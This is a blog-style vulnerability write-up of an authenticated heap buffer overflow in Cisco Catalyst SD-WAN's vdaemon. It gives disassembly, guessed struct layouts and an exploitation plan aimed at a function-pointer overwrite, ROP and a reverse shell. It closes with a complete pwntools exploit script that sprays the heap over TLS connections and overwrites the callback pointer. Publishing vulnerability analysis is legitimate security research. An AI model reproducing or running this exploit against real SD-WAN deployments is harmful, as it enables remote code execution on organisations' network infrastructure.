cisco catalyst sdwan auth heap buffer overflow (CSCwu48719)
FPR AUG 5
a few more cves for now then ill publish some cool new writeups that doesnt involve shit like this (hint: corps). anyway
SUMMARY: an authenticated heap buffer overflow in cisco catalyst c8000v sd-wan allows an attacker with low privileges to corrupt process memory and achieve remote code execution by sending a crafted message of type 0x0d (13) with device mode 5.
https://bst.cisco.com/quickview/bug/CSCwu48719
wtf is sd-wan
imagine you operate a certain company. you have a ton of offices. each office needs to access cloud infra (such as databases/your jenkins ci server/the ceo’s hidden camera in the bathroom etc), talk to internal services, etc. obviously bad idea to expose al these so you have a vpn. unfortunately, vpns are garbage when scaled. this is where sdwan can help. the whole idea is that you put an sd wan router at each office, these routers establish secure tunnels to each other. then you get a centralized controller to define firewall rules, routes, etc. life is a lot easier now.
the vuln
the core vuln is in vdaemon. vdaemon is the core control plane binary used by catalyst to orchestrate stuff like secure tunneling and joining new devices when they first are introduced to the sd-wan. thus (again) its a juicy target to get initial access on.
the core vuln is at sub_2A4D0:
lea rdi, [r12+0F34h] ; peer struct
mov rbx, [rbp+src]
lea r15, [rbx+20h]
lea rsi, [rbx+24h]
mov edx, [rbx+20h]
call _memcpy
mov byte ptr [r14+rax+0F34h], 0 ; null term
in case you forgot, this is memcpy’s proto:
void * memcpy(void * restrict dst, const void * restrict src, size_t n);
in this case, we are taking:
memcpy(peer+0xf34, msg+0x24, *(uint32_t *)msg+0x20);
the pseudocode, essenetially, is:
memcpy(&peer->f34h, msg->dat, msg->len);
peer->f34h[msg->len] = 0;
i assume you can see the major issue in here lol. we control the length and src since we control the message. we get a heap buffer overflow. in this case, we get two overflows:
; second overflow
lea rdi, [r12+0F86h]
lea rsi, [rbx+100h]
mov edx, [rbx+164h]
call _memcpy
mov byte ptr [r14+rax+0F86h], 0
this time to 0xf86 in peer.
peer is allocated in sub_21B20 once you xref it:
peer = (unsigned int *)((__int64 (__fastcall *)(__int64))g_mem)(0x1298);
idk why its a funcptr but fixing the casts just give us peer = g_mem(0x1298) so its calm
so the peer struct is 4760 bytes large. within the peer struct this is what i guessed so far given the strings and some guesswork:
struct peer {
void *list_next;
void *list_prev;
uint8_t pad_10[16];
uint32_t peer_state;
uint32_t field_24;
uint8_t pad_28[14];
uint8_t flag_36;
uint8_t pad_37[101];
uint32_t msg_counter;
uint8_t pad_A0[232];
uint8_t addr_info[16];
uint8_t pad_198[161];
uint8_t tlv_block[128];
uint8_t pad_2B9[167];
uint8_t addr_data[56];
uint8_t field_398[24];
uint8_t pad_3B0[256];
void *conn_ptr;
struct timespec last_seen;
uint8_t pad_4C8[2668];
uint8_t vuln_buf_1[82]; // where we hit
uint8_t vuln_buf_2[106]; // where we hit again
uint8_t field_FF0[8];
char str_FF8[58];
uint8_t field_1032;
uint8_t pad_1033[12];
uint8_t field_103F;
uint8_t flag_1040;
uint8_t pad_1041[3];
uint32_t field_1044;
uint32_t field_1048;
uint8_t pad_104C[28];
void (*bev_ssl)(...); // funcptr HIT THIS HIT THIS
uint8_t pad_1070[48];
uint8_t field_10A0[128];
uint8_t field_1120[128];
char name1[41];
char name2[41];
uint8_t pad_11F2[14];
void *sub_obj;
uint8_t field_1208[144];
};
and for the msg struct:
struct vdaemon_msg {
uint8_t header[4];
uint32_t msg_type; // 13
uint32_t device_type; // 5
uint32_t field_0C;
uint8_t pad_10[8];
uint32_t sub_type;
uint8_t pad_1C[4];
uint32_t datlen; // shit here
uint8_t dat[]; // main shit here
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint8_t tlvdatidk[16];
uint32_t addr_family;
uint32_t addr_field;
uint8_t payload2[]; // again
uint32_t payload2_len;
char name1[41];
char name2[41];
uint8_t flag_1A3;
};
so, we could simply craft a specific message to hit this overflow sink, hit the function pointer in bev_ssl (the buffereventcb funcptr) which is dereferenced immediately after:
if ( *(_QWORD *)(v136 + 4200) ) // our shit
v167 = bufferevent_openssl_get_ssl();
else
imo to exploit it this is the broad overview:
- overflow, make a fake bufferevent
- according to google gemini:
libevent uses be_ops as a virtual function table (struct bufferevent_ops *) inside the struct bufferevent core structure. It defines the specific behavior for different implementations of a bufferevent, such as sockets, filters, or SSL wrappers.
so, we make a fake vtable and the callback ptrs there.
- find a stack pivot gadget so we can rop in the heap (since the first arg is our controlled bufferevent ptr, ideally we want something like
xchg rsp, rdiormov rsp, [rdi+n]to control RIP - we can rop so mprotect and run revshell shellcode (?) or chain that with the native system command in the binary. notably later versions prob have PIE so youre gonna have to get a leak first lol (or brute it). for nonpie just spray (groom, iykyk) the heap with a million revshells and adjust. this is probably a dumb way but im not a major memory corruption xp demon if you cant tell
reaching the src
unforutnately the requirements to reach this heap bof mean that it isnt preauth rce. youd still need a valid cert; but you could send a message of type 13 (0x0D), or a REGISTER_TO_VMANAGE type, make the device mode 5 (vManage device mode), then include your payload to hit the sink.
fin
notably cisco seems to have revamped their entire vuln categorizing model so vulns are now grouped into umbrella cves. rofl
from pwn import *
import argparse
context.arch = "amd64"
DST_OFF = 0xF34
BEV_OFF = 0x1068
PAD = BEV_OFF - DST_OFF
SPRAYN = 0x12A0
RIP = 0x0c0c0c0c0c
SPRAYCNT = 1024
SPRAYBASE = 0x2000000
def parseargs():
p = argparse.ArgumentParser()
p.add_argument("--host", required=True)
p.add_argument("--port", type=int, default=12346)
p.add_argument("--cert", required=True)
p.add_argument("--key", required=True)
return p.parse_args()
def conn(a):
return remote(a.host, a.port, ssl=True, ssl_args={"keyfile": a.key, "certfile": a.cert})
def msg(payload):
buf = bytearray(max(0x200, 0x24 + len(payload)))
buf[0x04:0x08] = p32(0x0D)
buf[0x0C:0x10] = p32(len(buf), endian="big")
buf[0x20:0x24] = p32(len(payload))
buf[0x24:0x24 + len(payload)] = payload
return bytes(buf)
def ambatuspray(addr):
base = addr + DST_OFF
fakevtable = b""
fakevtable += p64(0)
fakevtable += p64(0)
fakevtable += p64(RIP) * 6
fakebev = b""
fakebev += p64(0)
fakebev += p64(base)
slidelen = (0x300 - len(fakevtable) - len(fakebev)) // 8
return fakevtable + fakebev + p64(RIP) * slidelen
def beam(addr):
return b"A" * PAD + p64(addr + DST_OFF + 0x40)
a = parseargs()
coverage = SPRAYCNT * SPRAYN
log.info(f"targ: {SPRAYBASE} {SPRAYCNT} sprays {coverage} b")
conns = []
plant = msg(ambatuspray(SPRAYBASE))
with log.progress("spraying") as p:
for i in range(SPRAYCNT):
p.status(f"+ spray {i+1}/{SPRAYCNT}")
try:
c = conn(a)
c.send(plant)
conns.append(c)
except Exception:
pass
log.success(f"{len(conns)} peers")
target = conn(a)
target.send(msg(beam(SPRAYBASE)))
log.success("+ sent")
target.interactive()